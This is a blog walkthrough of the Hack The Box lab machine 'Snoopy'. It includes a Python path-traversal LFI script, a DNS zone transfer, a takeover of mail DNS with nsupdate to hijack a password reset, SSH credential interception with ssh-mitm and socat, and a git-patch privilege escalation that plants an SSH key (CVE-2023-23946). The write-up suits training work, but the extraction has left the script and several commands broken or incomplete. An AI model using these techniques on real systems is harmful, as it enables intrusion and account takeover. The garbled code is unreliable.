Snoopy HTB Walkthrough


In this post, Let’s see how to root the snoopy and it’s a quiet and interesting box. Have any doubts comment down below.

Snoopy Phases

  1. Adding IP
  2. Nmap
  3. Exploiting the Vulnerability (LFI)
  4. Gaining access
  5. SSH connection
  6. Privilege Escalation

Let’s start

Hey you ❀️ Please check out my other posts, You will be amazed.

Adding IP

Add the target IP and the domain name snoopy.htb in /etc/hosts and you are go to go now.


From the nmap scan we can say that there are three ports open they are port 22,53 and port 80 with default services.

nmap -p- <IP>

So there is a chance we can log in using ssh. Later luckily we did ????

Viewing the site

After enumerating the site we have noticed that the dns on contact.html was sus and also we have found a user credentials not the pass just the username ????

“Download our press release package here or download our recent announcement here”

Click here to automatically download the file Extract file I get 2 files announcement.pdf and snoopysec_marketing.mp4 Check these 2 files, at the end of the video in file snoopysec_marketing.mp4

Checking the dns by zone transfer:

dig AXFR snoopy.htb @

Script for LFI πŸ™‚

import requests
from colorama import Fore, Style
import zipfile

def lfi(path):
        url ="http://provisions.snoopy.htb/download"
        params = {"file":f"....//....//....//....//....//....//....//....//....//....//....//..../{path}"}
        r= requests.get(url,params=params)
        if(r.status_code == 200):
            with open('', 'wb') as f:
            with zipfile.ZipFile('', 'r') as zip_ref:
            with open(f'press_package{path}', 'r') as f:
                content =
                print(Fore.GREEN + f"{content}" + Style.RESET_ALL)
            print(Fore.RED + f"{path} not found." + Style.RESET_ALL)
    except zipfile.BadZipFile:
        print(Fore.RED + f"{path} not found." + Style.RESET_ALL)
    except Exception as e:
        print(Fore.RED + f"LFI Error : {e}" + Style.RESET_ALL)

def main():
    while True:
        path  = input(Fore.BLUE + "[+] file >> " + Style.RESET_ALL)

if __name__ == "__main__":

according to site mail.snoopy.htb is down . After few research I found secret key in


Exploit Mail (DNS)

Now I can change the DNS record using nsupdate πŸ™‚

Now start python smptd server :

Now go to mm.snoopy.htb and request for password reset ………….. as we have now tookover the mail.snoopy.htb domain ………….. now we got the response πŸ™‚

Using local smpt server

Note: Don’t forget to remove ‘3D’ and ‘=’ from our smptd response

Now open browser and send req to ????????


And set the new passwd (password must be more than 8 char) And now we are logged in

Gaining access cbrown

After sending, I see the machine send me an ssh connection. Use ssh-mitm to intercept connection requests to my machine. Then use socat to forward the port.

SSH-MITM server :

         ssh-mitm server --remote-host snoopy.htb

Forward the request from our IP to local host , so that ssh-mitm server can catch it :

        socat TCP-LISTEN:2222,fork TCP: 

Captured SSH Creds πŸ™‚

Now login as cbrown user πŸ™‚


Unlike other machine the user.txt is not present here :(……………

we have to priv esc by applying a patch here πŸ™‚ ……………(Found using sudo -l)

There is a CVE Related to it CVE-2023-23946

ssh-keygen -t rsa

Generate a key, You could see two files names id_rsa and

cd ../ Move to home directory
git diff cbrown/.bash_history cbrown/.ssh/authorized_keys > /tmp/diff
cat > /tmp/diff
diff --git a/sbrown/.bash_history b/sbrown/.bash_history
index dc1dc0c..0000000
--- a/sbrown/.bash_history
+++ /dev/null
@@ -1 +0,0 @@
\ No newline at end of file
diff --git a/sbrown/.ssh/authorized_keys b/sbrown/.ssh/authorized_keys
new file mode 100644
index 0000000..e69de29
+++ b/sbrown/.ssh/authorized_keys
@@ -0,0 +1 @@
+ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyHBqorl76jh1Gn5jYU52MimMnpbf6GqtEDj9TUEwR4uWaJKNL6dGxzFbUIiPQusftoi6bZs1VdG1e0OiFA5gKSZaYKGLYTqjhm/NxGnakt6/EFXTZ+Vp11qcS935GesONlaJsCALrJGQj6WmyHUQvgyvr+QAutgfZoOl3Rklnatkh7mGAcYVGPByDBQ0WOyJ9R0XoVrUEgR9FxEWKOsmgzBfSR6Dbx5wBGHR10a4S/KR+ovGo/40iY3WygT78ycGrsSll4DjaJagl3Ubzt0y7dqXvf07liZj4nuZb9tzo2IzRbVNbk4Rkf1WN2xMhlJXW87OIu6HPPPBrqrCDVNUDZbdgU9rS7HexRDU/hsGzozvJxHAVlavlSP40PQXUJQhXXnlbrTYBYP6Vxni8TBA8A5a1BbU2NrSnrIQm/XSHSlNtm0HpIp2PBfSgi5elVp77ZlB2YHbXDML0gYJ/L1NGpfhaqZmb1chyXQxq+2fT1yLE8Ccs5uiudoxj+94kXc0= cbrown@snoopy.htb
sudo -u sbrown /usr/bin/git apply /tmp/diff
cd -
ssh -i id_rsa sbrown@snoopy
cat user.txt

Root Prives

For root just enter ????????

sudo /usr/local/bin/clamscan -f /root/root.txt

clamscan is an antivirus which has a feature to read file using ‘-f’

Hogaya bhai ! aur kya dekhega ❀️ πŸ™‚


According to me this is quiet interesting box learned the DNS zone transfer attacks and SSH-MITM . Which was a good session of learning. Out of 10 I would rate the box as a solid 8.

It would be an Insane box if getting root wasn’t easy .

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